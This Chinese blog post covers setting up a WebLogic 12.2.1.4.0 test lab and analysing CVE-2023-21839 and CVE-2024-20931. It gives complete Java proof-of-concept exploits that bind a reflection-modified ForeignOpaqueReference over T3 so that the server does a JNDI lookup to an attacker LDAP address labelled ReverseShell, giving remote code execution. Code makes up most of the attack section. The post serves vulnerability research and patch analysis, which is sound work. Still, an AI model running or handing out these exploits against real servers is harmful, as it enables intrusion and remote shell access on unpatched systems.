weblogic 12.2.1.4.0安装

我的环境:ubuntu 22.04 + weblogic 12.2.1.4.0 + jdk8(注:weblogic不支持OpenJDK)

jdk下载安装:https://www.oracle.com/cn/java/technologies/downloads/archive/

weblogic下载安装:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

JDK安装完成后装weblogic,简单配置账号密码等,一路下一步即可。

poc依赖包

wlfullclient.jar 包含了与 WebLogic Server 实例交互所需的客户端库。这些库提供了连接到 WebLogic Server、执行各种操作以及访问资源(如 JNDI、JMS、JDBC 等)所需的 API 和类。使用 wlfullclient.jar 文件时,通常需要将其包含在 Java 项目的类路径中。这样,您的应用程序就可以访问 WebLogic Server 客户端 API,并利用 WebLogic Server 提供的功能。

如何生成wlfullclient.jar?

java -jar /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar

cd /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/server/lib/
#生成后在poc的时候作为client依赖包导入

weblogic远程debug调试环境

在setDomainEnv.sh添加,开启远程调试端口9999

debugFlag=true
DEBUG_PORT=9999

打包wlserver在调试环境导入项目后添加Remote JVM Debug

T3/IIOP协议

WebLogic T3/IIOP(T3 over IIOP)协议是 Oracle WebLogic Server 使用的一种通信协议。它结合了 WebLogic Server 的 T3 协议和 OMG(Object Management Group)定义的 IIOP(Internet Inter-ORB Protocol)协议。

T3 是 WebLogic Server 的专有协议,用于在 WebLogic Server 节点之间进行通信。它提供了高性能、可靠的通信机制,支持各种服务和功能,如远程方法调用(RMI)、Java Messaging Service(JMS)等。T3 协议是 WebLogic Server 的核心协议,用于实现集群、负载均衡、故障恢复等关键功能。

协议支持远程绑定对象(Remote Object Binding)到服务端。通过远程绑定,您可以将一个对象绑定到 WebLogic Server 上的命名服务(Naming Service),使得其他客户端可以通过名称来访问和使用该对象。

WebLogic Server 提供了 JNDI(Java Naming and Directory Interface)作为命名服务的实现。JNDI 是 Java 平台的标准 API,用于访问和管理命名和目录服务。通过 JNDI,您可以在 WebLogic Server 上创建和管理命名空间,并在其中绑定对象。

要将一个对象绑定到 WebLogic Server 上的命名服务,您需要执行以下步骤:

  1. 在 WebLogic Server 上配置和启动 JNDI 服务。这可以通过 WebLogic Server 的管理控制台或配置文件进行设置。
  2. 在客户端代码中,创建一个要绑定的对象,并将其绑定到 JNDI 上下文(Context)。您可以使用 Java 的 RMI(Remote Method Invocation)或其他远程调用机制来实现对象的远程访问。
  3. 在客户端代码中,通过 JNDI API 获取到 WebLogic Server 上的 JNDI 上下文。
  4. 在客户端代码中,使用 JNDI API 将对象绑定到 JNDI 上下文中的特定名称。
  5. 在客户端代码中,其他客户端可以通过 JNDI API 在 WebLogic Server 上查找并获取绑定的对象。

通过这种方式,您可以在 WebLogic Server 上实现对象的远程绑定,并使得其他客户端能够通过名称来访问和使用这些对象。这种方式非常适用于分布式系统和企业应用集成,可以实现跨平台、跨语言的对象通信和共享。

代码示例:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties; public class RemoteBindingExample {
public static void main(String[] args) {
try {
// 设置 WebLogic Server 的连接属性
Properties props = new Properties();
props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
props.setProperty(Context.PROVIDER_URL, "t3://localhost:7001"); // 创建 JNDI 上下文
Context context = new InitialContext(props); // 创建要绑定的对象
MyRemoteObject remoteObject = new MyRemoteObject(); // 将对象绑定到 JNDI 上下文中的特定名称
context.rebind("myObject", remoteObject); System.out.println("对象绑定成功!"); // 关闭 JNDI 上下文
context.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

CVE-2023-21839

如果我们将remoteObject替换成一个ForeignOpaqueReference对象,由于ForeignOpaqueReference集成自OpaqueReference,进行lookup的时候会调用对象getReferent方法。最终会调用context.lookup(evalMacros(this.remoteJNDIName));

对remoteJNDIName值更改为ldap远程执行地址即可实现RCE。

另外加上jndiEnvironment的检测,所以ForeignOpaqueReference对象绑定时候,对remoteJNDIName值做反射修改即可。

package org.example.CVE202321839;
import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Properties; public class Main {
public static void main(String[] args) throws Exception { Properties props = new Properties();
props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001"); Context context = new InitialContext(props); ForeignOpaqueReference f = new ForeignOpaqueReference(); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://xxxxxx:1389/Basic/ReverseShell/xxxx/12345";
remoteJNDIName.set(f, ldap); context.rebind("sectest", f);
try {
context.lookup("sectest");
} catch (Exception e) {
}
}
}

CVE-2023-21839补丁限制

补丁对ForeignOpaqueReference的jndiEnvironment和remoteJNDIName都做了限制。

CVE-2024-20931

INITIAL_CONTEXT_FACTORY 是 JNDI API 中的一个常量,用于指定要使用的初始上下文工厂类。它在创建 JNDI 上下文对象时使用,用于指定要使用的上下文工厂类。AQjmsInitialContextFactory在初始化的时候,需要通过JNDI去获取远程的DataSource,通过这个初始化也可以发起JNDI注入。

package org.example.CVE202420931;
import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Properties; public class Main {
public static void main(String[] args) throws Exception { Properties props = new Properties();
props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001"); Context context = new InitialContext(props); Hashtable env2 = new Hashtable();
env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
env2.put("datasource", "ldap://xxxxx:1389/Basic/ReverseShell/xxxx/12347");
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2); context.rebind("sectest", f);
try {
context.lookup("sectest");
} catch (Exception e) {
}
}
}

参考链接:

1.https://www.oracle.com/security-alerts/cpujan2024verbose.html

2.https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/

更多关于云计算与安全内容,请关注公众号

weblogic CVE-2024-20931分析的更多相关文章

  1. WebLogic集群案例分析

    WebLogic集群案例分析 2012年8月,某证券交易系统(采用Weblogic中间件),由于基金业务火爆,使系统压力太大,后台服务器频繁死机时,这时工程师们紧急调试系统及恢复操作,等完成这些操作花 ...

  2. weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...

  3. weblogic之CVE-2016-0638反序列化分析

    此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上 weblogic.rjvm.InboundMsgAbbrev.class :: Serv ...

  4. weblogic之CVE-2016-3510反序列化分析

    将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对MarshalledObject进行序列化,生成payload字节码.由于Marshalle ...

  5. weblogic之CVE-2018-3246 XXE分析

    通过ftp通道将数据传出来.上传1.xml <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.172.12 ...

  6. 如何对应用服务性能问题诊断(Tomcat、Weblogic中间件)

    在我们web项目中,我们常见的web应用服务器有Tomcat.Weblogic.WebSphere.它们是互联网应用系统的基础架构软件,也叫“中间件”,负责处理动态在页面请求,并为应用提供了名字.事务 ...

  7. android CVE

    本文收集网上android cve的一些分析供后续学习: Android uncovers master-key:android1.6-4.0 由于ZIP格式允许存在两个或以上完全相同的路径,而安卓系 ...

  8. weblogic-CVE-2020-2551-IIOP反序列化学习记录

    CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...

  9. 转:ServletContext,ActionContext,ServletActionContext

    ServletContext ServletContext从他的package信息可以看出,它是标准的JavaEE WebApplication类库 javax.servlet.ServletCont ...

  10. Android安全研究经验谈

    安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...

随机推荐

  1. 【Mysql系列】(二)日志系统:一条更新语句是如何执行的

    有的时候博客内容会有变动,首发博客是最新的,其他博客地址可能会未同步,认准https://blog.zysicyj.top 这篇文章是从Github ReadMe拷贝的,内容实践下载是没问题的,能够正 ...

  2. [转帖]金仓数据库KingbaseES数据目录结构

    KingbaseES数据库结构 [kingbase@postgresV8]$ tree -LP2data/ . ├── data │ ├── base # 存储用户创建的数据库文件及隶属于用户数据库的 ...

  3. [转帖]解释docker单机部署kraft模式kafka集群时,尝试各种方式的网络broker全部不通而启动失败的原因,并提示常见bug关注点

    现象: controller节点与其他两个broker的通信失败.公网ip,宿主机ip,服务名,各种网络方式,都无法成功. 两点提示: 1.bug原因:因为单机内存不够用,设置了较低的 KAFKA_H ...

  4. P7031 [NWRRC2016] Anniversary Cake

    题目简述 有一块 \(n \times m\) 的长方形蛋糕.蛋糕上有两个蜡烛,分别用 \((x_1,y_1)\) 和 \((x_2,y_2)\) 表示.现在有一把刀要把蛋糕切成两半,请问切入的终点和 ...

  5. CreateProcess函数源码分析

    CreateProcess函数源码分析 ​ 源码版本:Windows 2003 源码 ​ 源码阅读工具:Source Insight 函数功能分析 函数原型 BOOL CreateProcessA( ...

  6. 强大的AWS lambda

    AWS强大的lambda 自从几年前换工作后,我所参与的项目一直都是基于AWS云服务的架构,我慢慢对serverless的相关基础建设有了一定了解和实践经验.其中lambda是我心中最强大的serve ...

  7. 【一】LaTeX的安装和使用、安装TeXstudio、中文界面输出设置

    安装方法一:(推荐) 下载链接·:http://tug.org/texlive/acquire-netinstall.html 下载zip,然后运行Windows批处理脚本(install-tl-wi ...

  8. C++ Boost 实现异步端口扫描器

    端口扫描是一种用于识别目标系统上哪些网络端口处于开放.关闭或监听状态的网络活动.在计算机网络中,端口是一个虚拟的通信端点,用于在计算机之间传输数据.每个端口都关联着特定类型的网络服务或应用程序.端口扫 ...

  9. 疾速7600MT/s!KELVV科赋CRAS V RGB DDR5内存图赏

    12月18日消息,KLEVV科赋日前推出新款大容量DDR5内存套装,满足游戏玩家.内容创作者和高端PC爱好者的需求. 现在,KLEVV科赋CRAS V RGB内存套装已经来到我们评测室,下面为大家带来 ...

  10. 营销(marketing)、推广(Promotion)和 运营(Operation)的概念分别是什么?

    首先要明确的原则: 1.你得承认"讨论任何事情之前不弄清楚概念定义就是耍流氓" 2.你得承认"由于每个人的经验学识和理解力的不同,我们常对概念定义产生分歧" 3 ...